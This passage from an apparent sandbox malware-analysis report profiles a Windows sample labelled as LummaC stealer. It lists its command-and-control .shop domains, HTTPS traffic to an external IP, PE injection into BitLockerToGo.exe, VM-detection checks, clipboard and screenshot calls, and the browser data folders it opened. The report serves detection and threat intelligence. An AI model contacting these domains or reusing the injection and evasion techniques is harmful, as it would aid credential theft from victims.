00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1925311469.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/
Source: BitLockerToGo.exe, 00000002.00000003.1915293731.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/)
Source: BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/-
Source: BitLockerToGo.exe, 00000002.00000003.1895445665.0000000000880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/D
Source: BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/G
Source: BitLockerToGo.exe, 00000002.00000003.1887999483.00000000008A4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895540064.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/O
Source: BitLockerToGo.exe, 00000002.00000003.1915133981.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1915065369.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/U
Source: BitLockerToGo.exe, 00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006372871.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/api
Source: BitLockerToGo.exe, 00000002.00000003.2005791791.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2005867986.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006372871.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/apibu4
Source: BitLockerToGo.exe, 00000002.00000003.1942683777.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1942883574.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/l
Source: BitLockerToGo.exe, 00000002.00000003.1924754245.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1925311469.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stiffraspyofkwsl.shop/z
Source: BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B3D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000002.00000003.1895742880.0000000004B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000002.00000003.1934728135.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1934142380.00000000008EB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1933568579.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896402300.0000000000931000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.1926572167.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BitLockerToGo.exe, 00000002.00000003.1896028998.0000000004B11000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1896084299.000000000092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1926244631.0000000004C3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.159:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00370520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00370520

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00370520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00370520

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00371CAA GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_00371CAA

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0036112E	2_2_0036112E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00362840	2_2_00362840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_003618A0	2_2_003618A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00344B30	2_2_00344B30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00342D10	2_2_00342D10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0037EE70	2_2_0037EE70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_003480A0	2_2_003480A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00377090	2_2_00377090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0036213D	2_2_0036213D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00344160	2_2_00344160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0037F190	2_2_0037F190
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00343360	2_2_00343360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0035D35E	2_2_0035D35E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00350390	2_2_00350390
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00346480	2_2_00346480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0037F500	2_2_0037F500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00345720	2_2_00345720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0038170F	2_2_0038170F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_003417B0	2_2_003417B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0036C85E	2_2_0036C85E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00346A50	2_2_00346A50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00368AC0	2_2_00368AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00365B50	2_2_00365B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00379E10	2_2_00379E10

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00350520 appears 194 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00348AF0 appears 52 times

Source: file.exe

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.1882747418.00007FF615650000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePLUGScheduler.exej% vs file.exe
Source: file.exe, 00000000.00000002.1880889294.000000C00018E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000003.1869726935.0000019546C70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamePLUGScheduler.exej% vs file.exe

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00370169 CoCreateInstance,

2_2_00370169

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Libraries\jnmmb.scif

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\system32\a10fdc1ebf6ee507ec036a8f5d426ea3191e6f5ae8c6ebc25ea6c733074986efAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: net/addrselect.go
Source: file.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 6055936 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x26f800
Source: file.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2dcc00

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880889294.000000C00018E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1869726935.0000019546C70000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880889294.000000C00018E000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1869726935.0000019546C70000.00000004.00001000.00020000.00000000.sdmp

Source: file.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_003737E3 push esp; iretd

2_2_003737E7

Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 2640	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 2640	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: file.exe	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/xml.Attr
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.init
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.printer.Write
Source: file.exe	Binary or memory string: github.com/vmware/govmomi@v0.37.1/vim25/xml/xml.go
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.printer.ReadFrom
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.(*printer).Write
Source: file.exe	Binary or memory string: github.com/vmware/govmomi@v0.37.1/vim25/xml/extras.go
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2005791791.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2006236962.0000000000848000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1895445665.000000000088C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1888027457.000000000088C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.(*printer).Size
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.printer.WriteString
Source: file.exe	Binary or memory string: github.com/vmware/govmomi@v0.37.1/vim25/xml/typeinfo.go
Source: file.exe	Binary or memory string: github.com/vmware/govmomi@v0.37.1/vim25/xml/read.go
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.(*printer).WriteString
Source: file.exe	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/xml.stack
Source: file.exe	Binary or memory string: depgithub.com/vmware/govmomiv0.37.1h1:SpI+Ofq+lC1zsLcJ9szLSb7fL4TypReVvUoWIgk2b6U=
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.map.init.0
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.printer.Size
Source: file.exe	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/xml.Name
Source: file.exe	Binary or memory string: github.com/vmware/govmomi@v0.37.1/vim25/xml/marshal.go
Source: file.exe	Binary or memory string: #github.com/vmware/govmomi/vim25/xml
Source: file.exe	Binary or memory string: github.com/vmware/govmomi/vim25/xml.(*printer).ReadFrom
Source: file.exe	Binary or memory string: asn1:"optional,tag:0""struct { io.Reader; io.WriterTo }"func([]interface {}, bool, error)"crypto/internal/edwards25519/field"func(string, string, net.IP) bool#github.com/vmware/govmomi/vim25/xml#map.bucket[reflect.structType]int#struct { F uintptr; X0 *abi.Type }
Source: file.exe, 00000000.00000002.1881506453.0000019501678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0037B550 LdrInitializeThunk,

2_2_0037B550

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 340000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 340000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: boredimperissvieos.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: holicisticscrarws.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweetsquarediaslw.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: plaintediousidowsko.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: miniaturefinerninewjs.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: zippyfinickysofwps.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: obsceneclassyjuwks.shop
